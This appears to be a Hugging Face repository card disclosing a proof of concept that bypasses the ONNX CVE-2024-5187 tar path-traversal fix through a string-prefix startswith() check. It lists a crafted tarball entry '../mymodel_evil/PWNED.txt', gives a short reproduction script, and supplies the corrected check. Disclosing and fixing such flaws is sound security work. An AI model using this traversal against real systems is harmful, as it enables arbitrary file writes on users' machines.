You need to agree to share your Hugging Face information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ONNX TarSlip PoC - CVE-2024-5187 Fix Bypass

Vulnerability Summary

Path traversal in _tar_members_filter() via startswith() bypass.

Location: onnx/utils.py:278 Affected: ONNX 1.16.2 - 1.21.0 on Python < 3.12

The Bug

# onnx/utils.py lines 276-278
abs_base = os.path.abspath(base)
abs_member = os.path.abspath(member_path)
if not abs_member.startswith(abs_base):  # VULNERABLE

Why It's Bypassable

startswith() is a string prefix match, not a path prefix match.

If extraction base is mymodel, attacker escapes to mymodel_evil/:

Base:    /home/user/.cache/onnx/mymodel
Escaped: /home/user/.cache/onnx/mymodel_evil/PWNED.txt

Check: "...mymodel_evil/...".startswith("...mymodel") = True  <-- BYPASS!

PoC Contents

  • malicious_model.tar.gz:
    • mymodel/model.onnx - Legitimate model
    • mymodel/weights.bin - Legitimate weights
    • ../mymodel_evil/PWNED.txt - Path traversal payload

Reproduction

import os

base = "/tmp/mymodel"
malicious = "../mymodel_evil/payload.txt"

abs_base = os.path.abspath(base)
abs_member = os.path.abspath(os.path.join(base, malicious))

print(abs_member.startswith(abs_base))  # True - BYPASS!

Impact

Arbitrary file write outside intended extraction directory via onnx.hub.load_model_with_data().

Fix

if not abs_member.startswith(abs_base + os.sep):

References

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support